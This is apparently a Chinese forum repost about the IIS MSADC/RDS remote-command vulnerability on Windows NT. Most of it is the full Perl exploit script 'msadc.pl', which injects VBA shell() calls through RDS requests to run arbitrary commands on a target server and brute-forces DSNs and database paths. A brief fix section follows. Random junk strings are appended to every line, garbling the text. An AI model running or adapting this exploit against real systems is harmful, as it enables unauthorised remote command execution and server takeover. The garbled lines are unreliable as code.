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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "?0 G^zu  
tIy/QN_42  
涉及程序: E~O>m8hF  
Microsoft NT server Ky~~Cd$  
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描述: {8p?we3l1  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _TcQ12H 5<  
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详细: 9M~$W-5  
如果你没有时间读详细内容的话,就删除: mE@o27  
c:\Program Files\Common Files\System\Msadc\msadcs.dll mS;Q8Crh  
有关的安全问题就没有了。 ^EBM;&;7  
C%o/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 NeZYchR  
3bL2fsn5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 A(sx5Ynp  
关于利用ODBC远程漏洞的描述,请参看: oW1olmpp=  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ej53O/hP  
5+"8q#X$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 zyn =Xv@p  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^ J@i7FOb  
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这里不再论述。 LO*a>9LI  
<;Z~ vZ]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: tJfN6  
Pw{{+PBu R  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset zw:b7B]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6 FxndR;  
1ucUnNkcV  
zQ^[=siZ}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" @?AE75E{  
u"$HWB~@z  
#!perl I{UB!0H  
# BnY|t2r  
# MSADC/RDS 'usage' (aka exploit) script } j@@  
# BrmFwXLP"  
# by rain.forest.puppy D4S?b ZFHo  
# Mo r-$a8  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?Og ;W9i  
# beta test and find errors! 4nXS9RiF2  
9cPucKuj  
use Socket; use Getopt::Std; *3oQS"8  
getopts("e:vd:h:XR", \%args); _ L6>4  
GgZf6~b1J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; I=I%e3GEm  
X2kLbe  
if (!defined $args{h} && !defined $args{R}) { !-Q!/?  
print qq~ e+aQ$1^t  
Usage: msadc.pl -h <host> { -d <delay> -X -v } hzVO.Q*  
-h <host> = host you want to scan (ip or domain) pDN,(Ip  
-d <seconds> = delay between calls, default 1 second @2O\M ,g5  
-X = dump Index Server path table, if available l'R`XGT  
-v = verbose ee\zU~  
-e = external dictionary file for step 5 l8li@K  
Kwau:_B  
Or a -R will resume a command session ~qxc!k!w4  
0']M,iC/  
~; exit;} I9aber1  
j KK48S  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; -p~B -,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -v&srd^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} N.rB-  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); B-zt(HG  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >?x Vr  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } o4795r,jz  
=]Bm>67"  
if (!defined $args{R}){ $ret = &has_msadc; SS-   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} RmCR"~   
Vngi8%YWp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 93,ExgFt  
. "cmd /c "; .!! yj,bQz  
$in=<STDIN>; chomp $in; nV1, ):kh  
$command="cmd /c " . $in ; o)DKP>IM#  
@n3PCH6:Ao  
if (defined $args{R}) {&load; exit;} J0o[WD$A x  
)nVx 2m4  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  _^ZII  
&try_btcustmr; =#Jb9=zdR  
Po[zzj>m  
print "\nStep 2: Trying to make our own DSN..."; =n&83MYX  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Pd?YS!+S  
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print "\nStep 3: Trying known DSNs..."; FUqiP(A  
&known_dsn; sa])^mkq(  
OYkd?LN  
print "\nStep 4: Trying known .mdbs..."; !LA#c'  
&known_mdb; yo=d"*E4^  
7 #`:m|$  
if (defined $args{e}){ UgJHSl  
print "\nStep 5: Trying dictionary of DSN names..."; BDg /pDnwg  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /:)4tIV  
BH1To&ol  
print "Sorry Charley...maybe next time?\n"; Hqk2W*UTl  
exit; S3r\)5%;  
;DOz92X94  
############################################################################## c1f6RCu$b  
4+0Zj+ q";  
sub sendraw { # ripped and modded from whisker -=Hr|AhE  
sleep($delay); # it's a DoS on the server! At least on mine... X,b} d#\  
my ($pstr)=@_; 1vr/|RWW  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || = zSrre  
die("Socket problems\n"); DX|kO  
if(connect(S,pack "SnA4x8",2,80,$target)){ \GN5Sy]r  
select(S); $|=1; HD>{UU?  
print $pstr; my @in=<S>; w>e OERZa  
select(STDOUT); close(S); S;C3R5*:  
return @in; /:DxB00  
} else { die("Can't connect...\n"); }} ^/,s$dj  
&*}S 0  
############################################################################## ,DjZDw  
VmW_,  
sub make_header { # make the HTTP request "T'!cy  
my $msadc=<<EOT A, os rv  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 6 eBQ9XV  
User-Agent: ACTIVEDATA `u-}E9{  
Host: $ip p ,!`8c6  
Content-Length: $clen C<pF13*4  
Connection: Keep-Alive 6 B )   
$T6<9cB@  
ADCClientVersion:01.06 >/>a++19  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -%A6eRShk  
O =fT;&%.  
--!ADM!ROX!YOUR!WORLD! cIX59y#7  
Content-Type: application/x-varg FR&RIFy  
Content-Length: $reqlen srC jq  
Gp14;  
EOT c}Qc2D3*  
; $msadc=~s/\n/\r\n/g; ?E`J-ncP  
return $msadc;} lIf Our  
1osI~oNZ  
############################################################################## 1ayxE(vMcX  
4]cOTXk9C  
sub make_req { # make the RDS request YpWu\oP  
my ($switch, $p1, $p2)=@_; -{O2Nv-]]  
my $req=""; my $t1, $t2, $query, $dsn; {kC]x2 U  
w9 N Um  
if ($switch==1){ # this is the btcustmr.mdb query H=dj\Br`  
$query="Select * from Customers where City=" . make_shell(); {>i'Pb0mG|  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  2}`OjVS  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ~6OdPD  
d#(xP2  
elsif ($switch==2){ # this is general make table query jj^CW"IB  
$query="create table AZZ (B int, C varchar(10))"; N>/U%01a  
$dsn="$p1";} bZ389dSn  
4-TM3Cw`d&  
elsif ($switch==3){ # this is general exploit table query F8pLA@7[  
$query="select * from AZZ where C=" . make_shell(); /5o~$S  
$dsn="$p1";} ]!f=b\-Av  
JeO(sj$e  
elsif ($switch==4){ # attempt to hork file info from index server 6L2.88 i  
$query="select path from scope()"; old}}>_  
$dsn="Provider=MSIDXS;";} xD~:= ]G  
s^ 6S{XJ  
elsif ($switch==5){ # bad query %9M_ * ]  
$query="select"; 8U-}%D<a  
$dsn="$p1";} -JcfP+{wS  
mtHw!*  
$t1= make_unicode($query); @)1u  
$t2= make_unicode($dsn); U?kJXM2  
$req = "\x02\x00\x03\x00"; P'g$F<~V  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6@bO3K|  
$req.= "\x00\x00" . $t1 ; Jo2:0<VL  
$req.= "\x08\x00" . pack ("S1", length($t2)); f#[Fqkmj  
$req.= "\x00\x00" . $t2 ; :imp~~L;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |n~- LH++  
return $req;} r;9F@/  
"6.kZ$`%  
############################################################################## rtOXK4)]I  
Wz9 }glr  
sub make_shell { # this makes the shell() statement z0c_&@uj*  
return "'|shell(\"$command\")|'";} kMK-E<g  
Uc6P@O*,  
############################################################################## nq r[HFWs  
G !wFG-Y}  
sub make_unicode { # quick little function to convert to unicode |E|d"_Ma  
my ($in)=@_; my $out; zU]95I  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ZMoN  
return $out;} ^xFZ;Yf  
_},u[+  
############################################################################## iFpJ /L  
SxH b76 ;  
sub rdo_success { # checks for RDO return success (this is kludge) A=Dzd/CUO  
my (@in) = @_; my $base=content_start(@in); I)T]}et  
if($in[$base]=~/multipart\/mixed/){ -FdhV%5]  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 6/ F]ncwG  
return 0;} kbiMqiPG  
j#zUO&Q@  
############################################################################## fp u^  
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sub make_dsn { # this makes a DSN for us ^GHA,cSf  
my @drives=("c","d","e","f"); ^*`hJ48u  
print "\nMaking DSN: "; n}}$-xl  
foreach $drive (@drives) { ?u/RQ 1  
print "$drive: "; U TC|8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . cl/}PmYIZ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" c/%i,N\5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 1>|2B&_^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; F=bX\T7  
return 0 if $2 eq "404"; # not found/doesn't exist ?@!dc6   
if($2 eq "200") { \ ?sM  
foreach $line (@results) { 3]$qY_|7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} H}Z\r2  
} return 0;} tY'fFz^Ho  
3+ JkV\AF  
############################################################################## H$^IT#  
-C1,$mkj  
sub verify_exists { AU0pJB'  
my ($page)=@_; L"e8S%UqX  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *.qm+#8W  
return $results[0];} C3>&O?7J*7  
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############################################################################## RE 6d&#N  
}M*yE]LL;Z  
sub try_btcustmr { @A?Ss8p'  
my @drives=("c","d","e","f"); )i|0Ubn[|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X"lPXoCN  
s_:7dD  
foreach $dir (@dirs) { Q#M@!&  
print "$dir -> "; # fun status so you can see progress ,E ]vM&  
foreach $drive (@drives) { ;=r_R!d@  
print "$drive: "; # ditto g4z*6L,u  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; apy9B6%PJ+  
$reqlenlen=length( "$reqlen" ); iX (<ozH  
$clen= 206 + $reqlenlen + $reqlen; ' m^nKG$"  
(t[sSl  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); csK;GSp}  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} P]cC2L@Vbi  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} VCf/EkC  
Fw.df<  
############################################################################## skeH~-`M@  
3:wN^!A}ve  
sub odbc_error { ; ,9:1.L  
my (@in)=@_; my $base; h[*:\P`  
my $base = content_start(@in); {wJ8% ;Z7  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ^L4"X~eM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P z< \q;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W *.j=?)\[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FHOF 6}if  
return $in[$base+4].$in[$base+5].$in[$base+6];} N1!O8"Q|*3  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; X^o0t^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9@3cz_[J  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} oU`{6 ~;  
' Bx"i  
############################################################################## i U"2uLgb  
(ay((|)  
sub verbose { 2e?a"Vss  
my ($in)=@_; .QVN&UyZ  
return if !$verbose; 3sD/4 ?  
print STDOUT "\n$in\n";} %n B}Hq ;  
&*j# [6  
############################################################################## ,hSTR)  
\DMZ M  
sub save { D;! aix3  
my ($p1, $p2, $p3, $p4)=@_; XlJA}^e  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Xte"tf9(C  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ]5a,%*f+  
close OUT;} ^~` t q+  
S; Fj9\2)I  
############################################################################## jJqq:.XqB8  
;&9wG`  
sub load { 0zc~!r~  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; b wqd` C  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); s;W1YN  
@p=<IN>; close(IN); v|IG G'r  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  ovsI2  
$target= inet_aton($ip) || die("inet_aton problems"); tlyDXB~+  
print "Resuming to $ip ..."; v5A8"&Jr  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; IA~wmOF  
if($p[1]==1) { (5h+b_eB  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ?4sF:Y+\  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; eh /QFm 4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); d>hLnz1O  
if (rdo_success(@results)){print "Success!\n";} oi\e[qE  
else { print "failed\n"; verbose(odbc_error(@results));}} mvXIh";  
elsif ($p[1]==3){ N VBWF  
if(run_query("$p[3]")){ 4l~B/"}  
print "Success!\n";} else { print "failed\n"; }} T{4Ru6[  
elsif ($p[1]==4){ &O\$=&, h  
if(run_query($drvst . "$p[3]")){ ->*'Y;t4  
print "Success!\n"; } else { print "failed\n"; }} d)'J:  
exit;} JAU:Wqlg1  
V1 O]L66  
############################################################################## #G\;)pT  
Uu(FFd~3  
sub create_table { uoMDf{d  
my ($in)=@_; 859ID8F  
$reqlen=length( make_req(2,$in,"") ) - 28; ~@ML>z 7  
$reqlenlen=length( "$reqlen" ); M D,+>kh  
$clen= 206 + $reqlenlen + $reqlen; aqoxj[V^3L  
my @results=sendraw(make_header() . make_req(2,$in,"")); Y N*"q'Yz_  
return 1 if rdo_success(@results); =x-@-\m  
my $temp= odbc_error(@results); verbose($temp); M2rgB%W)m  
return 1 if $temp=~/Table 'AZZ' already exists/; ]}A3Pm- t*  
return 0;} Wer.VL  
Xw]L'+V=  
############################################################################## `%Jq^uW  
I1fUV72  
sub known_dsn { U`)o$4Bq  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go gvy c(d  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", xAJuIR1Hi  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", U9%#(T$  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); NTy0NH  
~[3B<^e  
foreach $dSn (@dsns) { !F[^?:pK  
print "."; jLCZ JSK  
next if (!is_access("DSN=$dSn")); V^E.9fs,  
if(create_table("DSN=$dSn")){ m+'vrxTY  
print "$dSn successful\n"; h?+bW'm  
if(run_query("DSN=$dSn")){ Av"^uevfs  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !R"iV^?V  
print "Something's borked. Use verbose next time\n";}}} print "\n";} tp?< e  
V>:ubl8j0l  
############################################################################## 5@< D6>6  
,{VC(/d  
sub is_access { <imIgt|`2  
my ($in)=@_; e{fm7Cc)D  
$reqlen=length( make_req(5,$in,"") ) - 28; jw$[b=sa  
$reqlenlen=length( "$reqlen" ); iz5WWn^  
$clen= 206 + $reqlenlen + $reqlen; eZk4 $y  
my @results=sendraw(make_header() . make_req(5,$in,"")); ,/6 aA7(  
my $temp= odbc_error(@results); =#K$b *#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); t182&gpd`  
return 0;} a^QyYX}\qR  
 k.("<)  
############################################################################## /4lm=ZE/  
\aB>Q"pS  
sub run_query { flzHZH  
my ($in)=@_; "*N=aHsj  
$reqlen=length( make_req(3,$in,"") ) - 28; ~.L\f%<  
$reqlenlen=length( "$reqlen" ); SxWK@)tP  
$clen= 206 + $reqlenlen + $reqlen; ;8J+Q0V  
my @results=sendraw(make_header() . make_req(3,$in,"")); E|>oseR  
return 1 if rdo_success(@results); ( S=RFd  
my $temp= odbc_error(@results); verbose($temp); 5\\a49k.p  
return 0;} qt{{q  
+?[,{WtV  
############################################################################## Vi o ~2  
Uth H  
sub known_mdb { afNqK~  
my @drives=("c","d","e","f","g"); l1MVC@'pvP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F|3iKK022  
my $dir, $drive, $mdb; u[;,~eB%w  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `R+I(Cb  
kjVJ!R\  
# this is sparse, because I don't know of many Z<^TO1xs9B  
my @sysmdbs=( "\\catroot\\icatalog.mdb", PGaYYc3X  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", : ZWKrnG  
"\\system32\\certmdb.mdb", !.}ZlA  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /;rPzP4K6  
V.U9Q{y"  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", \8e27#PJR  
"\\cfusion\\cfapps\\forums\\forums_.mdb", CW9vC  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", *dw6>G0U  
"\\cfusion\\cfapps\\security\\realm_.mdb", KqNbIw*sR  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", DtrR< &m  
"\\cfusion\\database\\cfexamples.mdb", 3j2#'Jf|:  
"\\cfusion\\database\\cfsnippets.mdb", yv2N5IQ>{V  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4' MmT'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", y +2  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .\6q\7Ej  
"\\cfusion\\database\\smpolicy.mdb", rrL gBeQa  
"\\cfusion\\database\cypress.mdb", ~  WO  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <g4[p^A  
"\\website\\cgi-win\\dbsample.mdb", j[e<CGZ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xS>d$)rIj  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" bB->7.GXu  
); #these are just "ytPS~  
foreach $drive (@drives) { tW)K pX  
foreach $dir (@dirs){ 1;8%\r[|5^  
foreach $mdb (@sysmdbs) { l}jC$B`5  
print "."; )5NjwLs  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *\!>22*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =}1)/gcM  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ uZ/XI {/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; V }?MP-.c  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 3)6&)7`*  
Wq}Y|0c  
foreach $drive (@drives) { cKM#0dq  
foreach $mdb (@mdbs) { |@*3 nb8  
print "."; r\."=l  
if(create_table($drv . $drive . $dir . $mdb)){ LjEG1$F>  
print "\n" . $drive . $dir . $mdb . " successful\n"; {IgL H`@  
if(run_query($drv . $drive . $dir . $mdb)){ ]I<w;.z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `Hp=1a  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^1mnw@04  
} $c0<I59&|  
p-o8Ctc?V  
############################################################################## "pInb5F  
E3"j7y[S  
sub hork_idx { ?;xL]~Q~1  
print "\nAttempting to dump Index Server tables...\n"; F>lM[Lu#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5 !Ho[  
$reqlen=length( make_req(4,"","") ) - 28; #9e2+5s  
$reqlenlen=length( "$reqlen" ); 4o69t  
$clen= 206 + $reqlenlen + $reqlen; N eC]MW  
my @results=sendraw2(make_header() . make_req(4,"","")); =_=0l+\}  
if (rdo_success(@results)){ 5I>a|I!j  
my $max=@results; my $c; my %d; LF X[v   
for($c=19; $c<$max; $c++){ <Eu/f`8  
$results[$c]=~s/\x00//g; >v'@p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; nJ2910"<  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; yW]>v>l:Eg  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; W1 \dGskV  
$d{"$1$2"}="";} 's\rQ-TV  
foreach $c (keys %d){ print "$c\n"; } @>q4hYF  
} else {print "Index server doesn't seem to be installed.\n"; }} AK//]   
Txa 2`2t7  
############################################################################## f7?u`"C  
XYze*8xUb  
sub dsn_dict { J 7HOSFwXn  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); hH]oJ}H \  
while(<IN>){ v`\CzT  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; y3Ul}mVhA  
next if (!is_access("DSN=$dSn")); *]>~lO1  
if(create_table("DSN=$dSn")){ Zjn![  
print "$dSn successful\n"; z0 J:"M  
if(run_query("DSN=$dSn")){ 'NN3XyD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6 g)X&pZ  
print "Something's borked. Use verbose next time\n";}}} q22@ZRw  
print "\n"; close(IN);} &\W5|*`x-  
Eyh(257  
############################################################################## )(h<vo)-zX  
H><! C  
sub sendraw2 { # ripped and modded from whisker `^: v+!  
sleep($delay); # it's a DoS on the server! At least on mine... %:.IG.`d  
my ($pstr)=@_; 1>)uI@?Rb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ch)#NHZ9F  
die("Socket problems\n"); :auq#$B  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZW ZKyJQ  
print "Connected. Getting data"; uiq;{!dop  
open(OUT,">raw.out"); my @in; v03 ^  
select(S); $|=1; print $pstr; =`t%p1   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &t@|/~%[  
close(OUT); select(STDOUT); close(S); return @in; IRbZ ;*3dO  
} else { die("Can't connect...\n"); }} *]e 9/f  
2l}3L  
############################################################################## Z`yW2ON$'  
p}lFV,V  
sub content_start { # this will take in the server headers XB+Juk&d  
my (@in)=@_; my $c; y2@8?  
for ($c=1;$c<500;$c++) { Ew2ksZ>B]&  
if($in[$c] =~/^\x0d\x0a/){ ~c|{PZ9U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } YA@OA$`E  
else { return $c+1; }}} d~w}{LR[1  
return -1;} # it should never get here actually O^4K o}  
}tPI#[cfK  
############################################################################## bEl)/z*gy/  
+"D*0gYD  
sub funky { T0lbMp  
my (@in)=@_; my $error=odbc_error(@in); uDG#L6  
if($error=~/ADO could not find the specified provider/){ [ FNA:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; vY(xH>Fd  
exit;} 2w67 >w\  
if($error=~/A Handler is required/){ e]u3[ao  
print "\nServer has custom handler filters (they most likely are patched)\n"; ZH=oQV)6  
exit;} Q~G>=J9  
if($error=~/specified Handler has denied Access/){ YJ~3eZQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5Y(f7,JX  
exit;}} Wj#Gm  
Auf2JH~  
############################################################################## Avi8&@ya  
|k=L&vs  
sub has_msadc { $K*&Wdo  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \k)(:[^FY  
my $base=content_start(@results); . [5{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jwZBWt )5  
return 0;} 1U;p+k5c  
#F!'B|n  
######################## VJ$UpqVm  
PK|"+I0  
RE}$(T=  
解决方案: RNn5,W  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll I:G4i}mA  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -%eBip,'yl  
.V Cfh+*J#  
拿出来充数 哈哈
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